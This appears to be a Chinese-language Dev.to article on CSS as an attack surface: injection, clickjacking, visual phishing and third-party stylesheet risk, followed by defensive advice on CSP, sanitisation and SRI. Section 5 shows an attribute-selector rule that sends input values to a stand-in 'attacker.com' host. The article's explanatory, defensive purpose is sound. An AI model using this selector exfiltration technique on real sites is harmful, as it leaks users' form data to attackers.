CSS 如何被“黑客攻击”（以及如何保护你的网站）

Source: Dev.to

当人们听到 黑客 这个词时，他们通常会想到 JavaScript、后端漏洞或数据库。CSS 往往显得无害——毕竟，它只是“样式”，对吧？

实际上，CSS 可以被滥用、操纵或注入，从而导致数据泄露、界面欺骗、网络钓鱼以及严重的安全问题。CSS 本身不执行代码，但若配合不良的安全实践，就会成为一个强大的攻击面。

1. 什么是 “Hacked CSS”？

CSS 不能：

• 执行 JavaScript
• 访问文件系统
• 直接读取敏感数据

当我们说 CSS 被黑客攻击 时，通常指以下情况之一：

• 恶意 CSS 被注入
• 合法 CSS 被修改
• CSS 被用作侧信道
• CSS 被滥用于 UI 欺骗

简而言之：CSS 是在特定上下文中被武器化的，而不是它本身具备攻击性。

2. CSS 注入（最常见的问题）

什么是 CSS 注入？

CSS 注入发生在 用户输入被插入到 <style> 块或 CSS 文件中且未进行适当的消毒 时。

示例（易受攻击的代码）

body {
  background: ;
}

攻击者可以注入任意 CSS 规则。

为什么这很危险

注入的 CSS 可以：

• 隐藏安全警告
• 伪造登录表单
• 覆盖不可见的元素
• 窃取视觉数据（见后面的章节）

当 CSS 注入与 HTML 注入或 XSS 结合时尤其危险。

3. UI Redressing & Clickjacking Using CSS

CSS 可以通过以下属性操控布局和可见性：

• position: fixed
• opacity: 0
• z-index: 9999
• pointer-events: none

Attack Scenario

攻击者在合法按钮上方叠加一个不可见的按钮。用户以为自己点击了 “Download PDF”，实际上点击了 “Authorize payment”。这被称为 UI Redressing 或 Clickjacking，而 CSS 是其核心工具。

4. 使用 CSS 进行网络钓鱼（视觉欺骗）

CSS 可以：

• 克隆合法的登录页面
• 替换字体、颜色和徽标
• 隐藏真实的输入字段
• 显示伪造的错误信息

即使不使用 JavaScript，CSS 也能 完美模仿受信任的界面。如果 CSS 来自 不受信任的外部来源，攻击者就可以在视觉上劫持你的网站。

5. 使用 CSS 进行数据泄露（是的，真的可以）

原理？

攻击者可以利用：

• CSS 中的 url()
• 属性选择器
• 字体加载行为

示例概念

input[value^="a"] {
  background-image: url("https://attacker.com/a");
}

通过逐字符测试，攻击者可以 通过网络请求泄露数据。此方法虽慢，但有效——尤其针对高价值目标。

6. 恶意外部 CSS 文件

从第三方 CDN 加载 CSS 而不加以控制是有风险的。如果该 CSS 文件被：

• 被修改
• 被替换
• 被破坏

那么 每位访客 将立即受到影响。这是一种 供应链攻击，而且 CSS 往往被过度信任。

7. CSS‑Based Browser Bugs & Engine Exploits

Historically, browser rendering engines have had bugs involving:

• 字体
• SVG + CSS
• 滤镜和变换

Attackers combine CSS with such bugs to:

• 使标签页崩溃
• 泄露内存
• 打破隔离

Modern browsers are much safer, but CSS 仍然是利用链的一部分.

Source: …

8. 如何保护网站免受 CSS 攻击

1️⃣ 切勿将用户输入注入 CSS

• 不要从用户数据生成动态 <style> 块
• 不要使用来自不可信输入的内联样式

2️⃣ 使用内容安全策略 (CSP)

Content-Security-Policy: style-src 'self';

这可以阻止加载恶意 CSS。

3️⃣ 对所有内容进行消毒

如果用户输入会影响外观：

• 使用严格的白名单
• 使用预定义的主题
• 避免使用原始值

4️⃣ 避免内联 CSS

内联样式会削弱 CSP 并增加风险。

5️⃣ 锁定外部 CSS

• 仅使用可信的 CDN
• 优先使用自托管的 CSS
• 使用子资源完整性 (SRI) 哈希监控完整性

9. 关键要点

CSS 并非无害。它可能被滥用来：

• 欺骗用户
• 操纵界面
• 泄露信息
• 协助真实攻击

安全不仅仅关乎 JavaScript 或后端代码——呈现层同样重要。将 CSS 视为安全面的一部分，你就已经领先于大多数开发者。

最终思考
CSS 本身不会攻击你的网站。糟糕的安全假设才会。